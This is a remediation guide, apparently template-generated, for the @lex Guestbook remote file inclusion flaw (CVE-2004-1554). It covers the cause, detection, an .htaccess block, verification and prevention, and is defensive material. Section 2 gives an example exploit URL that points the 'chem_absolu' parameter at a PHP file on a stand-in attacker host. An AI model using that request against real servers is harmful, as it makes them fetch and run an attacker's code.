1. Introduction
The @lex Guestbook livre_include.php chem_absolu Parameter Remote vulnerability is a remote file inclusion flaw affecting the @lex guestbook web application. This allows attackers to execute arbitrary PHP code on affected systems without authentication, potentially leading to complete system compromise. Web applications running this software are typically at risk. A successful exploit could result in loss of confidentiality, integrity, and availability.
2. Technical Explanation
The vulnerability exists due to insufficient input validation within the ‘livre_include.php’ script. Specifically, the ‘chem_absolu’ parameter is not properly sanitized, allowing an attacker to include external files. This enables remote code execution. CVE-2004-1554 describes this issue. An example attack involves modifying the ‘chem_absolu’ parameter to point to a malicious PHP file hosted on another server.
- Root cause: The application fails to validate user-supplied input for the ‘chem_absolu’ parameter, leading to unrestricted file inclusion.
- Exploit mechanism: An attacker crafts a URL with a modified ‘chem_absolu’ parameter pointing to an external PHP script. When accessed, the server includes and executes this malicious code. For example:
http://example.com/livre_include.php?chem_absolu=http://attacker.com/malicious.php - Scope: Affected versions of @lex Guestbook are vulnerable.
3. Detection and Assessment
Confirming vulnerability requires checking the installed version of @lex Guestbook and testing for file inclusion.
- Quick checks: Check if the application is running by accessing its main page in a web browser.
- Scanning: Nessus plugin ID 30498 can detect this vulnerability, but results should be verified manually.
- Logs and evidence: Examine web server logs for requests to ‘livre_include.php’ with unusual ‘chem_absolu’ parameters.
# Example command placeholder:
# No specific command available without access to the target system. Check application version via UI or configuration files.
4. Solution / Remediation Steps
There is currently no known patch for this vulnerability. Mitigation focuses on disabling the vulnerable script or restricting network access.
4.1 Preparation
- Ensure you have a rollback plan in place, such as restoring from backup. A change window may be required depending on your environment.
4.2 Implementation
- Step 1: Remove the ‘livre_include.php’ script from the web server directory.
- Step 2: If removing the script is not possible, restrict access to it using web server configuration (e.g., .htaccess or firewall rules).
4.3 Config or Code Example
Before
# No code example available as the vulnerability is in application logic. The file 'livre_include.php' exists and is accessible via HTTP.After
# .htaccess example to deny access:
<Files livre_include.php>
Order Deny,Allow
Deny from all
</Files>
4.4 Security Practices Relevant to This Vulnerability
Several security practices can help prevent this type of vulnerability. Least privilege limits the impact of successful exploitation. Input validation prevents malicious code from being executed. Safe defaults ensure that applications are configured securely out-of-the-box.
- Practice 1: Implement least privilege to restrict access to sensitive files and resources, reducing the potential damage if exploited.
- Practice 2: Enforce strict input validation on all user-supplied data to prevent malicious code injection.
4.5 Automation (Optional)
No suitable automation script is available due to the nature of this vulnerability and lack of patch availability.
5. Verification / Validation
Confirm the fix by verifying that access to ‘livre_include.php’ is blocked.
- Post-fix check: Attempt to access ‘livre_include.php’ via a web browser; you should receive an error message (e.g., 403 Forbidden).
- Re-test: Repeat the earlier detection attempt, which should no longer succeed.
- Smoke test: Verify that other parts of the guestbook application still function as expected.
- Monitoring: Monitor web server logs for any attempts to access ‘livre_include.php’.
# Post-fix command and expected output:
# curl -I http://example.com/livre_include.php
# HTTP/1.1 403 Forbidden
6. Preventive Measures and Monitoring
Regular security baselines, including application whitelisting or blacklisting, can prevent this issue. CI/CD pipelines with SAST tools can identify similar vulnerabilities during development. A regular patch review cycle is essential for all software.
- Baselines: Update your web server baseline to include restrictions on access to potentially vulnerable scripts.
- Pipelines: Integrate Static Application Security Testing (SAST) into your CI/CD pipeline to identify input validation issues early in the development process.
- Asset and patch process: Implement a regular review cycle for all installed software, including guestbook applications.
7. Risks, Side Effects, and Roll Back
Removing or restricting access to ‘livre_include.php’ may break functionality within the guestbook application. Restore from backup if necessary.
- Risk or side effect 1: Removing ‘livre_include.php’ could disable a feature of the guestbook application.
- Roll back: Restore the web application files and database from the pre-change backup. Restart the web server service.
8. References and Resources
- Vendor advisory or bulletin: https://www.securityfocus.com/archive/1/376627/30/0/threaded
- NVD or CVE entry: CVE-2004-1554
- Product or platform documentation relevant to the fix: No specific documentation available for this vulnerability.